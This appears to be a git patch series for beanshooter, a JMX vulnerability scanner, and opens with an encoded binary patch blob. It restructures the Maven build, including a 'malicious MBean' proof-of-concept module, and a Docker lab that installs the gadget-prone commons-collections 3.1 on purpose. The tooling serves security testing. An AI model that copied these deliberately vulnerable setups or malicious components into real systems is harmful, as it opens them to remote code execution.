z;Bn&f;0fZ3;A-(@uugm(JXHpQr%Mq$L(1UK@!Nee6#RwE2|gkt!2>cHd`5N;J}-L) z|0wfqkY2zc)l_nX+-#65iK0fo?Vw~Coq{$L?x)LNo6zRePcLvS2t6p15{SBhfLz8}9_ z1o0QfOQsM!6{0nZm!Se*^u|`YDZW5ZN0rJcWXP!w5jSLuxG)Mc7h1z1in9pLgFC*K z+7bP!=Jfum@`u0_eSsS&IOgHI3$QHmjX|WaaFKt^!-%)o?;84kLe86Y&H*|nB0uh| zLQuF{_R!BH>8t@{4eZ-VOL%HjNR?c@!{QCMfgd2aoheuEq)}=LwIAQ%e0&A7u^o8( z=P2g1N3n{-rIqf)WxyVSRrXHu^JLpaKkCv-cjGQnfR9emdqgYUYn4H@Q2e{G z0_h7j0~s8V#R}DR98FT!Wr+KAB7Q#+0TKCH28q5ID;K_AhqcnvU_vijYzynKd@!#= z5#Fu{;q7KpUpWgwBM+zHayAvnIW$$yry{w4=Ezb6kSwQVvI6l5m(WRa6*WWtZ;_P< zBDsvN#{G5jD7s!Ai&#R((}S{x9+NS8T5g~hWdpq|>*y7E62cEP(%jv*LD!dppm~kf$s#~}TL_{AY2n)<3@%>FEe88k zYjd;$R0Dt+;5Lpgt<-`{p6;NxfC*5ti;_uiQz?ut0G`Bu1WVk_@fv@P z^c2Lt`|mZ_EI_mAao(A}SL=${Jp_#rL zvAEkurC1Cu^6fxCyPN4G-%i@U&7!_S`i=zxmoIB`7Mp%Vyj6_&_Mp4B$rI}A^l06Q}QBK6oqzmb%{{e17Djox!mBW81@ zs*vmrXOi-vfXtA(?4_q!3G<9n!u&RYsC^$ez;v;}z>ftTgDyc7KtC6eK-AAx6(AJn zbGzyJ{q#Eodj#tX?57v@X*8%fqWi@)5xy^|s~;+5zf>6V0i_$|h_zxJk2&bhOzjH3 z@iZpviQol5f&WJ`{@*M7FJ_3}p9B0|fWK=N_~DCaHscc1j?3Ev0U#lAb{@T-u56`0 zEZ+I`KS#&gQt4j&d1UzeQqb{_&FCjSuX>>o{C{Dsh+ zjiG`5u{6v-o(laq;@Ce~m25I__M-l(Jbpyq9IASSdwH^5+R0)g1PR74S=3|V*AsOR zZE-s|Ye+N*1j|(v66cw1)HU8DT8XtuA=GN9fH;Y%R5Su8W_E<|X-)!x*{mZVS_C54 zs#5ez1&k%?fnm`ZtQOFyZH$9vs&h`Ld zbOgjX;#?09!H$6V9#odPBCci$c*F2&mWhsL`M&spM}hp_z`UE~d~tyX2;c4K1kG+O zB4=U98^jOAg(ip@V8hJLjDmhgL*DfUqAO+CeQltxc^||YMHh*SJxU}yQmISCr5+%_ z(=xBrW%i^wm9_8q!yNT$6*K~Wyq6B_rPr#WuSfsXMt{DSI`agoIf7a~_@1C#e>n

r48&WRcGw zR$qJO9W~?ae_VBQ5q14k5jwn{%YxvY zo9Lu4AqaMeni*n?L7NTQVh|3v?W+AQR=|M_?i9;;gPS9`bwVBEk^2Ixw-^2U{Nom1 z0DA~*jpICA?9-1--u*P2ie1pLSz5a$wtVSgY)+<%Xc*bl*wEatrlF1vePE)Wyg?n0 z^Jkrfbe!x@HN4``J=yieJv`KIvSN% z-=kiR;A94E!;zY)H(}jPqAO|};&O?*z_+iq2Js7ut@hOs&WttM1Rg~;i_K<7cQ_uP-l66OZ7q;!s$kj>pktw@Stew~v78RK#M-b!vJoaAMxYcr4F?&MC zzlMKQbqzu{U>6l}5(YS4gJE0~TwTVR)PeqtAR;`*r`M^5O$}={pgxuA5~qL&He^d9 zi0yt6m;K@h6?4fhiC|y$GJ`IUAR>4v7(`LNt37ct<{5NlJ3eGyg9ULhQt?%bK<6hM z2M5~XEPNU(n2GHgW;wy(=h6yCuV@b`MMQHN;6bOn!!W3GO3IcjgY$Utk_4-NlU8}` z4Np}zSH)rP2y2WbCd={+MbTCJ7nH86Z)l9osb)hfm#2Y+6SkAt8qp{EP6TlpXK@|E zBxL5S(Php0*qRNtg(4cL54d?l-R9UF<$LKE=xno-$f#1X1RsiFyH994q-2W{^B1QL zi}{m|<DZ_RcDrqg`|#n+AT^>K}h| zBoY`KzMsKd4%fa=^i8&(N3aa!14pLfy=i!QxGfuw7HuSy(m@5+S27b-L%Fe<4#kV6 zd`Lw!19uQ66&iTG;ybHyXDYC>Ot4L+24OfW3?!@>d{u?m?6`;g&|k6+fsImNzQQ|5 zp*YfBYGJ$?pIdN{$yUmzZBSdDtO~%&1Xf>K1sHA?fPdqfN=H#7^L4W*TUGIhW<#@L zs9n08swf1;+qYUc~xJn8^6SroEW^E?C=xh3&2xBT&@-LUZD z)ZVEPUK5OVKy#lOL5mDRaQ|*Jjz7lp#{``BKodhWDHkJcia}FDG%XCh%yfee4Wp?L z*FTqL7<3rxif8gmvkW@i;EBC=Wy#VN2q}SR4@*lbD_5;7T|9SA@lwdko^q>OfDTcy zLzLB$oj)5HHFdb=)UA>zsY2u$>>;Tt+jQNI%HGenaW$rgfr_=cq;BVn2PgD?lZy#2 z6LQb>LBgEYe*Jg`L71_Po9Yl_L&?hXJ(?~PJm#!tOYfiuOZ;|8%Xw~T*(7Y9kOZ~s zlNO=g1X;5;jf!BpDd2C2Gcc@Op>b@JGHNwwZUl^AUgn~ZmYx|0LcMF36Q=;r5Bl)O z0`G`uDI`)|SZj0Y*HVfN_;9twpG_Jq1q4_tdH zX3i1;xFn7)le}AmSwqhlIR#=rL1K}5Vq+^(EwP*lzIzsg2Wv9Uq5hcOaD*HZ%PFwS z1-N_@+!6SVRb!z7A)p8KB|^Ira?Vu>nwEb;CN$(gk%s`58}3jOZW-XRxRML~zAk7I zXjteH4x_?LTC&NtLFYo|84l3M4kgq`fOI1nWg=M#6g&en5}c&S+Xso|e-22VS4j8> zJ_e{;gTEyr;orDUJ_oumk9iZ_jgSSoPKzO%bR8XqoMNz%TwwHF1qXP?DO45B5jdkQ zya=YFuyM+TWE0s**nrHfLfdvKD~tyBQs*j`N4o5xt}Mssd7XQ2AX=KRLD+@<08)4f z-TyL5^9rWyS23@@=4hzJs^oYXw!qvxSRjC4Mkh6tDG8>@BwXy_ucGWbsJ(=ley1AN;d1r(-t|FkaNIUC%uVQ&Fw??L7#})*$ zw4fp$CQ!|Qj{Aa!4SdI*8SZkBP#S#aZByP=!y*lL)`n~tBD!FMd6Ua@#WQVjeK;T< zjr_1z$8TEfXCbgV?idm?FoskC49s7;*pQUbz8Wb=MKQg=ERG;bPdb#p_W2N@Un@N82fvw$zJksRA-~vX z({q>@o3)nNAqtQ5Shgq6W?2uaY00y&DXUqu=h;LUU8b(btd83w%N%TasF|Ac1f6GJ zPq@mzJ^~UM904hIihzhZVU3?vHy+ebQ(BW17;wD8MRzc3#BdAYJ1oLLcsxZj7vS$G zB(6O0x?uAF;vVj*@H;$mTuwvfVXgmfE1J?uRHU-e!Q!@cVpXHg^r$=2p^Sz##S#SaGagVy?uYUQ} zB2<kcyRu9Es1?=d%w$J_uOZUgy)N1H)|4Oj|hIOgX5@vBoyivCy)jTj4!>b!O5 zkh9flk+_05k+zD0klRa&xd;5(AOigIYQ%^Pxs8sVz{LK z@e$esd$=FozPZ;AF?)0B(7dP)j`tp;N@(oELSvp`$&Hx~Pe|FX96zfOyC=b#7?yNU z&pSt_J%89EFO@8pl_c4LNzYk-j5Kyao@*A^J<#kTyT(s^mU99!M^GmkV2Y5LPjF5! z-^}nyEm1~IiIQiWxI{S*)Wve3mMD2*i;I9-qO8D(S%MLBq(l6(BuZY}vYg7|AJ1?Z zh<{a{;vbI`NxkD_&ZY|eKECC1oPE$82SP|!GkGoyg>BY)x}9iN;Z1yD9uF8#=nIS3+gg$d_u2F_`6{Rp=|wwl!N zI#~$AN*Uxd^ANK)Cr?GRpBmpokQw04u^02ciazM?>H@dtQ|pZE6>l)}(r&Qb-8{j%U% zAZjrWoroD?0}i~egX_*ls>E}xpdL=kXgTh9SDy>XOZeeT@Jf6d&Qz~fBr9m8Ssdq5 z!LMvviP5R0g4m)!TT2BETCi!PM`mp??8tnkXJ(jGdSuoX%Z|(!cxFBpTj#nJ$Du-8 zIrcj8-GMLCk@-rG%wc8)X6E^*9*dK`?}65R(L?u8&avU@dnu>j;X4)=JUkk1r+7hc zs6;X5c;SYie)v?frnnZC+}C05y&kHWRdj+0luao3FPZ~L2uN}-9CLn2xCFQpo%ylZ z07v(*xF5e(hoOg$wf9?5@M`SISwsqF7702AUsIuqT+}b9GU6}K%XvEKPMm#ce z9G&$HcvxD6hHK(*H5aBp4zs9ERgcwJ6>=}S>?(QAU6`m~5#^ew2BpSl&Qwtv$@;b& zRy}r!u)07{QTCngIh$oVBiTwwb_9hc3%sf?=sXAC**u#y{!uO~zFR7es8Vp~{Xy2@ z^D2vA@Ztk?K{!-=ZV<=X0Y~!{^z?(*X}-qFMs2gS8fex4XboB*hU{yVRzmZ%o|xwP z;7x#1hIuB-k``sK{aY8PctE-LHCr;dX*~1Uo|$=bQqrI}2VmXFz-PbSdo3Pt8iSOU7%a=vIvh^> z#8>w}fIQT1H*-^pCNcp!tyi-#lnnzz(7nW2y;K4@gxP}wdAGq zTNlh*9>x<+N8p8Y#c&2UYj^Do1EU-oV$jeKL8~iicn(N-1b>X=k5L94Vo-rWqcdfB z`+nq`z31%r%h1a@Mqgs6v#uMfw>pc5-4+2&Q~U&Wdo>UowXjshrp`)@l%BgeOW|%L zaJSyzZrY|au>xB3?vCeWNj1SU)P*&^b_j7dhf9sq(=`?!aUhcIE-HXU#+g?ssPF1wCR0c2Gah5`P41>mBAf&nZX z_5v3*r9ts3tMS`v2=Hqll-DT!skteO3Ok(PoCifBRmK@?KSlN8VMVF?KlC=;uGp!Ki9%ZgJ0-xz0m!cA0R7Z@b zkf>ZtB|jmfORVJ{WX>?eat%>jh0oSXJT{cy!ln_#1;n&Ih>rhud52|I!6p_tN+AHp zH_%hW7P5FUjqf8Ji;0z&8yu`hXnP@>NkBaw(DD^8Qnh@g)#D*7K%-d5^v3##MKoSsnW%+SzldW+q5y&9vj>kn_EmF$-la;VKv0X zW5EAHb1KT0m6k78dS#*R%a$xIS*Gr#L#f)w!$zg_nAur#yfJAxo}*2{;q>ayu4M|M zQvrm{s%j~UeO6|x`uY)488uF#Ul$kb>cDEsQvGQfvju1~Av;7cbfGFwdH8IA^N)+b z#_!Mw4E=}U*u8Wk&wsw{}HA2K<+GSm75Ny(|D`mf9=1Z(6 zkh{MZDRC6xGmKhQZQE46&%br@nyU>suqL#8(62D zWE!I}DlKIFSb?_KtOgCMaF}lxU`ya5gg$5I>7Zd+X&u~005UAH^)2uK(Eu^Mr&~zj~CKW z?Xty{-VAR9GqXW#(UT9OW0><`SqPO^rcCYcD<6I5vOZtJkS^%tSpl5PJhzHPW-uvZ z$NSjyuW zIxF*z_~y6=NX4>=Rlc8-5@csag3#&a+?%D|8ANTF!RtR z1?+^^3}`JFu9mD6wslcqup!2lO7A4~VkfTsIZc7F263|9X^aAfz4B<1%F3xY@|h*z zMHUa6f$m{*&eL0}PQj4jl!=&S8cKQ(orAHq$(!@}<+1n9xDKPkHZXNAU~IX}djVrU z&U*NaPdj|vHOCNQ{f2Efn#o}4?gn8Fn7D;a+KJMg-*dQhOgn*blG?P!GS+5}9iKei z?v_{y?`{$u2`F}iFBi%aGgFIMMl&nc-K*B%hwNQwj5;snBuO|@%c zO|JaBZnARl)v7=2Lr{pF$j@g1Ix!~ZU_*WV$2lH1b2PQox0@?sWm0(FcjSUAR=YV_ z1k-4*YjPa*_|3lE!%(#~sEn zzp)o^ITgBKKLokogSFVORX~^G8XPU}4Y_>riGM#6P&pm$f_&iT89+{TaM#)y#dj4V&PNWcRWk-gyzE zb52uSNNyk6VIkUPE%bdE}WJ*3X7Y2<9Kh>mR|K3vYgoK&-&Z3eZrxc z;IN?EwrJjHYA^okyW7wmoZQ|0KZj+4Mo&!Mu&c+OyTiM?_a2@(>@?lo`>|0kdUyA^ z*m6iuuet&z67PDH2L|8h-Q6cb=b0%At3$kToOJHSfuEv}IgPXW8rL1$BS*E1qY_sA zYpiX-CU4-aAD;Nw$DmbC?m7I(sx-hGH^&;=nZxhBoZNGG`EdtTnp9U*^*pQ)@(w3AvN1ceM>f&BW`Xk_iTw&n z5KeAnt+!{7Y?3#!@|L^C9tuR9+{j+MJ9}i4y^(e9y6ce1XhKeIWc97tBb(xl?7^x} z|K}^zic`5YfYp@pH5PLo(^f_VGP@Dd>6&Ujrd=JN?v1;2{B5gO#Qfac}omd=0hME023-loPmT)dIjR1KZY`Y2ANu4?yuCVS+S z>#G}MdVG4Loq6oP9v@ml#A&7r?UEO=M(d4g{HG6|`~?&`oOrX^`rEPnH~nO09SgE) zLF8aIb4pY;yi|YTg zPG~s$Z^!m?hG&mVsZ>&_0seT}JNw@43ezwocSpTGF>92`P09MW-MzaldjnGgr|EXx zSfCs^H&ayBNGru5@yS?NJJiXT*8^U~>{+ZLcUp*cY(HU9rdZUln%B^{1>x;tjj4L; z$CYn&&c(3e8a!AulS!u1V)a+m_UO=ewH4- zlijw*{e0Kd%~=GkFemqFeE+TKv0z!Yb(=#00vJ|D=pc&36ZE%@tkY=R2<^XQy1g#sB}}Y7I`z~sYjo7 z$HhCaJmci%se7N!9+~Nj;oW?B%U3_ps~fiKk=#7>p;xm;>5b}l51%;kZAep`I8L$k zw`2PxY#nFTl$mk6vsR4x!BxP*$&G3A$5~=ZA#DHj#s1HImQTdV&1=?wmK`SVwp;Q0 zLtg9$KETPX;MmjGm$vPe*Ke$DM5Lq?YoQa)e`d?NAw-n4UL^ z-H_%uB`~~O4;ra=7aslol(ldRAWoI8W_@9AdX#MQtZAJ?1fnsAEpNgerb$6_s_W`j zSFhP%KJzZXeV=R`F&ewioZM>sr4MIO0BVD z6B89Dx8U%?N136hXlb^0ZoI4UP>+wkI2=rzlUvnwxPT)tjGEX)iH(g+2Mk_>+nk9z zOLGpZvr=q&43Sq33FRU750bk}eiz6BjdxvIs+RoqJK!6f+)IjygEBzUvid}5s^{t` zGz}>w?gt*|zOocz7AJSF_=k5Ki+4@d?R0Q=wEZ#Laf6Bx4I5mt<4pSEFR%Lc3zNQ!Q@_dL!EX z#1D>tAFBgSV_b;7|NV>*ty`CB(wP{%V#7-S$%(Bkt-l@HAGxu8(1_;0AXc|2)x>i5 zwKQo1W-?B0x$JLnjY`2dRHIvfD{JdFq-Ri%YahHt~<8h3bVEh@OU?Q z#TlP3J_8FHPVRl`cYohL*!jxIZBwkVd0VkMMadh%ug~jQ@dg+-CwHIjd#QZ{u#_m- z8e7u>dhrH**n*>aSOHhvWqiThq+yZqLCpR~^{k_ZpFRng$TPfC(tUdE?o$2FFIDIS3Dmb|b=9bSh!r={eSL0v4 z{}qUZlUv4K*D2609WGlB!-<+SEz@)1><2EwP~zkUe_z**fS>4H`oQH+9d#ZWozoGn zQFLjKj(~U7C8bHvhsUfs>m>MFaKf;)|8{IYd2k1?c~|A~2M&30JX(np`&C$fJGM`s z<_Ub0X)mkHT=m4*{$BUoJ;8~}%yOt+d;R`{uk011Sxh-S(ZO><)mvvD#`_WX(6vP}E2HCGNv`7ot~477NH_oR+x? zF>S}e7s9P=^De=tAAR!XB^B_(L2@r^Zrz(r3B0j%U-kLR{|2#ea&P@!k{e9l*xKkA zrVi?`jGA_=y0~Wp1!YIB1?S-8uF^Z5(j&9F(K2-Qk~SF2(=EfE%Nd5vAEc$OuG<;S z0*khRaj1RTv+rR1-+4Fo>q%X};gL#Q`17Y_h5w|MSW|OK)d!hDO z>%6Q`rnjGEv=i4=UiLjmxt!eGKrHMyT5kgVaoyF|BXS5w4@uArzPhF3I5gi$MLCfn z|MNsXxDKa9u4Y`YEo)qQ%9{gWkYn6>S5ka3c+j08B2I3bh~Hk2Jz{fk)~~B z?1l8G+?L+SEyiQ|&sCpyTLS*f$-Tfo{>AhdblF|AuZL=o@w6WI+44b-@mv^Na?+E)!O4y1)Yr4Z<6*GHcy{dg{B~A&Jj}Eh&qs$CgI<9I&dH6Z;vZSznd(h%>lO~4u?Bs^$t~@j`EgcwOff-I zB6fn@RyW>-`00BiE~`OBIhDDF)iIxDRfr{xwVSbBvyNk!s_ENv(ai0SOLcyB)1@T0MR*8`4CzncJd(iZq>K{an;R5xgZ}T z_hO`JTWTzNq3AyD(;I%`$+%YQ?b!b1SsjC)isf<#C7!q!$C7(NYAlvNqU#X3B;zuM zpLlv%9R8q-(!=L&PH~o*(~6A|B_7xmM|An69YEwb6DX-ZJVhm*Iul1T?aGdzX>4q0 zG$&y1?oT}TBaUd`HR%yK1bTOnPH$w15uxMAPTJ8yWUf$s$=J9J6Qj?@u{GV20XAnW z+C(Zy4EY)dUG=l{pq<7~nKWBs;Kw+&2k+=8whY=WF~(gSUCG_)(Ls5a6!9*x`4Z#6 z#W9?DPkIcF$X>}E&to((=u#YfOIv#Ij@Us-LzAH=#-@owzy1F7(A~jOtnvq7$ccpu P{*9Xpf306)Gmid0LFn0P diff --git a/.docker/resources/scripts/start.sh b/.docker/resources/scripts/start.sh new file mode 100644 index 0000000..ae6a518 --- /dev/null +++ b/.docker/resources/scripts/start.sh @@ -0,0 +1,14 @@ +#!/bin/sh + +IP=$(ip a | grep inet | grep -v 127.0.0.1 | grep -o "\([0-9]\{1,3\}\.\?\)\{4\}" | head -n 1) +echo "[+] IP address of the container: ${IP}" + +echo "[+] Adding gateway address to /etc/hosts file..." +GATEWAY=$(ip r | grep "default via" | cut -d" " -f 3) +echo "$GATEWAY prevent.reverse.dns" >> /etc/hosts + +echo "[+] Adding RMI hostname to /etc/hosts file..." +echo "127.0.0.1 iinsecure.dev" >> /etc/hosts + +echo "[+] Starting tomcat..." +exec catalina.sh run diff --git a/.docker/resources/src/jmxmp/pom.xml b/.docker/resources/src/jmxmp/pom.xml deleted file mode 100644 index 3eb1574..0000000 --- a/.docker/resources/src/jmxmp/pom.xml +++ /dev/null @@ -1,56 +0,0 @@ - - 4.0.0 - javax.management.remote.extension - jmxmp - 1.0.0 - jmxmp - jmxmp listener for tomcat - - UTF-8 - - - src - - - src - - **/*.java - - - - - - maven-compiler-plugin - 3.7.0 - - 1.8 - 1.8 - - - - maven-assembly-plugin - - - package - - single - - - - - - jar-with-dependencies - - - - - - - - org.apache.tomcat - tomcat-catalina - provided - 9.0.37 - - - From f46158db5863212e99179d1d0d6180e890882bcd Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Wed, 13 Jan 2021 08:16:45 +0100 Subject: [PATCH 008/100] [docker] Switch to maven8 builder --- .docker/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.docker/Dockerfile b/.docker/Dockerfile index e4c1169..610efbc 100644 --- a/.docker/Dockerfile +++ b/.docker/Dockerfile @@ -1,7 +1,7 @@ ########################################### ### Build Stage ### ########################################### -FROM maven:3.6.3-openjdk-16-slim AS builder +FROM maven:3.6.3-openjdk-8 AS builder COPY ./resources/jmxmp /usr/src/app WORKDIR /usr/src/app RUN mvn clean package From 449e0697544ba6d4a72a98b45dc1d909da72f4c9 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 23 Mar 2021 06:12:21 +0100 Subject: [PATCH 009/100] [docker] Fix typo in Dockerfile --- .docker/Dockerfile | 2 +- .docker/Dockerfile.alternative | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.docker/Dockerfile b/.docker/Dockerfile index 610efbc..5dadb8c 100644 --- a/.docker/Dockerfile +++ b/.docker/Dockerfile @@ -27,7 +27,7 @@ RUN set -ex \ && cd /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/ \ && wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar \ && if [ "$SHA256_SUM" != "$(sha256sum commons-collections-3.1.jar | awk '{print($1)}')" ]; then \ - echo "sha512 values doesn't match! exiting." \ + echo "sha256 values doesn't match! exiting." \ && exit 1; \ fi \ && cd - diff --git a/.docker/Dockerfile.alternative b/.docker/Dockerfile.alternative index 649929a..10886e6 100644 --- a/.docker/Dockerfile.alternative +++ b/.docker/Dockerfile.alternative @@ -27,7 +27,7 @@ RUN set -ex \ && cd /usr/lib/jvm/default-jvm/jre/lib/ext/ \ && wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar \ && if [ "$SHA256_SUM" != "$(sha256sum commons-collections-3.1.jar | awk '{print($1)}')" ]; then \ - echo "sha512 values doesn't match! exiting." \ + echo "sha256 values doesn't match! exiting." \ && exit 1; \ fi \ && cd - From ed7963c88a05cd1c37482d720ee11c56c65d8aad Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 23 Mar 2021 06:34:32 +0100 Subject: [PATCH 010/100] [docker] Use unified builder version --- .docker/Dockerfile.alternative | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.docker/Dockerfile.alternative b/.docker/Dockerfile.alternative index 10886e6..a086465 100644 --- a/.docker/Dockerfile.alternative +++ b/.docker/Dockerfile.alternative @@ -1,7 +1,7 @@ ########################################### ### Build Stage ### ########################################### -FROM maven:3.6.3-openjdk-16-slim AS builder +FROM maven:3.6.3-openjdk-8 AS builder COPY ./resources/jmxmp /usr/src/app WORKDIR /usr/src/app RUN mvn clean package From 1c0973b7696d83f8c5320c0adf56f8d2abad3899 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Fri, 31 Dec 2021 08:21:50 +0100 Subject: [PATCH 011/100] Update module structure Updated the module structure so that beanshooter and the tonka bean are build automatically. --- {src => beanshooter}/config.properties | 0 beanshooter/pom.xml | 110 ++++++++++++++++++ .../src}/de/qtc/beanshooter/Beanshooter.java | 0 .../src}/de/qtc/beanshooter/GreenGrocer.java | 0 .../src}/de/qtc/beanshooter/io/Logger.java | 0 .../networking/DummyTrustManager.java | 0 .../networking/LoopbackSocketFactory.java | 0 .../networking/LoopbackSslSocketFactory.java | 0 .../de/qtc/beanshooter/utils/JarHandler.java | 0 .../de/qtc/beanshooter/utils/MLetHandler.java | 0 .../qtc/beanshooter/utils/RealmHandler.java | 0 pom.xml | 86 ++------------ tonka-bean/pom.xml | 81 ++++++------- 13 files changed, 163 insertions(+), 114 deletions(-) rename {src => beanshooter}/config.properties (100%) create mode 100644 beanshooter/pom.xml rename {src => beanshooter/src}/de/qtc/beanshooter/Beanshooter.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/GreenGrocer.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/io/Logger.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/networking/DummyTrustManager.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/networking/LoopbackSocketFactory.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/networking/LoopbackSslSocketFactory.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/utils/JarHandler.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/utils/MLetHandler.java (100%) rename {src => beanshooter/src}/de/qtc/beanshooter/utils/RealmHandler.java (100%) diff --git a/src/config.properties b/beanshooter/config.properties similarity index 100% rename from src/config.properties rename to beanshooter/config.properties diff --git a/beanshooter/pom.xml b/beanshooter/pom.xml new file mode 100644 index 0000000..cada74b --- /dev/null +++ b/beanshooter/pom.xml @@ -0,0 +1,110 @@ + + + + 4.0.0 + + + de.qtc.beanshooter + reactor + 3.0.0 + + + beanshooter + + + UTF-8 + 1.8 + 1.8 + + + + + + commons-cli + commons-cli + 1.4 + + + + net.sourceforge.argparse4j + argparse4j + 0.9.0 + + + + commons-io + commons-io + 2.8.0 + + + + org.glassfish.external + opendmk_jmxremote_optional_jar + 1.0-b01-ea + + + + + + + src + + + + + . + + config.properties + + + + + ../tonka-bean/target + + tonka-bean* + + + + + + + + maven-assembly-plugin + + + package + + single + + + + + beanshooter-${project.version} + + + de.qtc.beanshooter.Starter + true + + + + jar-with-dependencies + + ../target + + + + + maven-jar-plugin + 3.2.0 + + + default-jar + none + + + + + + + diff --git a/src/de/qtc/beanshooter/Beanshooter.java b/beanshooter/src/de/qtc/beanshooter/Beanshooter.java similarity index 100% rename from src/de/qtc/beanshooter/Beanshooter.java rename to beanshooter/src/de/qtc/beanshooter/Beanshooter.java diff --git a/src/de/qtc/beanshooter/GreenGrocer.java b/beanshooter/src/de/qtc/beanshooter/GreenGrocer.java similarity index 100% rename from src/de/qtc/beanshooter/GreenGrocer.java rename to beanshooter/src/de/qtc/beanshooter/GreenGrocer.java diff --git a/src/de/qtc/beanshooter/io/Logger.java b/beanshooter/src/de/qtc/beanshooter/io/Logger.java similarity index 100% rename from src/de/qtc/beanshooter/io/Logger.java rename to beanshooter/src/de/qtc/beanshooter/io/Logger.java diff --git a/src/de/qtc/beanshooter/networking/DummyTrustManager.java b/beanshooter/src/de/qtc/beanshooter/networking/DummyTrustManager.java similarity index 100% rename from src/de/qtc/beanshooter/networking/DummyTrustManager.java rename to beanshooter/src/de/qtc/beanshooter/networking/DummyTrustManager.java diff --git a/src/de/qtc/beanshooter/networking/LoopbackSocketFactory.java b/beanshooter/src/de/qtc/beanshooter/networking/LoopbackSocketFactory.java similarity index 100% rename from src/de/qtc/beanshooter/networking/LoopbackSocketFactory.java rename to beanshooter/src/de/qtc/beanshooter/networking/LoopbackSocketFactory.java diff --git a/src/de/qtc/beanshooter/networking/LoopbackSslSocketFactory.java b/beanshooter/src/de/qtc/beanshooter/networking/LoopbackSslSocketFactory.java similarity index 100% rename from src/de/qtc/beanshooter/networking/LoopbackSslSocketFactory.java rename to beanshooter/src/de/qtc/beanshooter/networking/LoopbackSslSocketFactory.java diff --git a/src/de/qtc/beanshooter/utils/JarHandler.java b/beanshooter/src/de/qtc/beanshooter/utils/JarHandler.java similarity index 100% rename from src/de/qtc/beanshooter/utils/JarHandler.java rename to beanshooter/src/de/qtc/beanshooter/utils/JarHandler.java diff --git a/src/de/qtc/beanshooter/utils/MLetHandler.java b/beanshooter/src/de/qtc/beanshooter/utils/MLetHandler.java similarity index 100% rename from src/de/qtc/beanshooter/utils/MLetHandler.java rename to beanshooter/src/de/qtc/beanshooter/utils/MLetHandler.java diff --git a/src/de/qtc/beanshooter/utils/RealmHandler.java b/beanshooter/src/de/qtc/beanshooter/utils/RealmHandler.java similarity index 100% rename from src/de/qtc/beanshooter/utils/RealmHandler.java rename to beanshooter/src/de/qtc/beanshooter/utils/RealmHandler.java diff --git a/pom.xml b/pom.xml index d4f7b11..0f53140 100644 --- a/pom.xml +++ b/pom.xml @@ -1,83 +1,19 @@ - 4.0.0 - - de.qtc.Beanshooter - beanshooter - beanshooter - jar - 2.0.1 - JMX Proof of Concept Tool - - - UTF-8 - 1.8 - 1.8 - - - - - commons-cli - commons-cli - 1.4 - - - org.glassfish.external - opendmk_jmxremote_optional_jar - 1.0-b01-ea - - - - - src - - - - src - - config.properties - - - + 4.0.0 - - - maven-assembly-plugin - - - package - - single - - - - - beanshooter - - - de.qtc.beanshooter.Beanshooter - - - - jar-with-dependencies - - false - - + de.qtc.beanshooter + reactor + reactor + pom + 3.0.0 + JMX Vulnerability Scanner - - maven-jar-plugin - 3.0.2 - - - default-jar - none - - - + + tonka-bean + beanshooter + - - diff --git a/tonka-bean/pom.xml b/tonka-bean/pom.xml index cbb3009..4bf71b7 100644 --- a/tonka-bean/pom.xml +++ b/tonka-bean/pom.xml @@ -1,14 +1,16 @@ + 4.0.0 - de.qtc.TonkaBean + + de.qtc.beanshooter + reactor + 3.0.0 + + tonka-bean - tonka-bean - jar - 1.1.0 - Proof of Concept for a Malicious MBean UTF-8 @@ -17,43 +19,44 @@ + src + - - maven-assembly-plugin - - - package - - single - - - - - tonka-bean - - - de.qtc.tonkabean.TonkaBean - - - - jar-with-dependencies - - false - - - - - maven-jar-plugin - 3.0.2 - - - default-jar - none - - - + + maven-assembly-plugin + + + package + + single + + + + + tonka-bean-${project.version} + + + de.qtc.beanshooter.tonkabean.TonkaBean + true + + + + jar-with-dependencies + + + + + maven-jar-plugin + 3.2.0 + + + default-jar + none + + + From f32d86623a6bea3dd5c7968c767924702c0e84d8 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Fri, 7 Jan 2022 21:01:43 +0100 Subject: [PATCH 012/100] Start refactoring src Started to refactor the source code of beanshooter. Many changes, but still much work to do. --- beanshooter/config.properties | 3 + beanshooter/pom.xml | 6 - .../src/de/qtc/beanshooter/Beanshooter.java | 468 ------------- .../src/de/qtc/beanshooter/GreenGrocer.java | 642 ------------------ .../src/de/qtc/beanshooter/Starter.java | 25 + .../qtc/beanshooter/cli/ArgumentHandler.java | 120 ++++ .../src/de/qtc/beanshooter/cli/Option.java | 391 +++++++++++ .../de/qtc/beanshooter/cli/OptionGroup.java | 62 ++ .../exceptions/ExceptionHandler.java | 300 ++++++++ .../exceptions/MalformedPluginException.java | 20 + .../src/de/qtc/beanshooter/io/Logger.java | 580 ++++++++++++++-- .../networking/DummyTrustManager.java | 26 +- .../beanshooter/networking/JarHandler.java | 131 ++++ .../networking/LoopbackSocketFactory.java | 83 ++- .../networking/LoopbackSslSocketFactory.java | 92 ++- .../beanshooter/networking/MLetHandler.java | 119 ++++ .../beanshooter/networking/RMIEndpoint.java | 68 ++ .../networking/RMIRegistryEndpoint.java | 201 ++++++ .../beanshooter/networking/StagerServer.java | 88 +++ .../networking/TrustAllSocketFactory.java | 94 +++ .../qtc/beanshooter/operation/Dispatcher.java | 92 +++ .../operation/MBeanServerClient.java | 139 ++++ .../qtc/beanshooter/operation/MLetClient.java | 105 +++ .../qtc/beanshooter/operation/Operation.java | 149 ++++ .../plugin/DefaultSocketFactoryProvider.java | 63 ++ .../plugin/IMBeanServerProvider.java | 17 + .../plugin/ISocketFactoryProvider.java | 40 ++ .../qtc/beanshooter/plugin/JMXMPProvider.java | 20 + 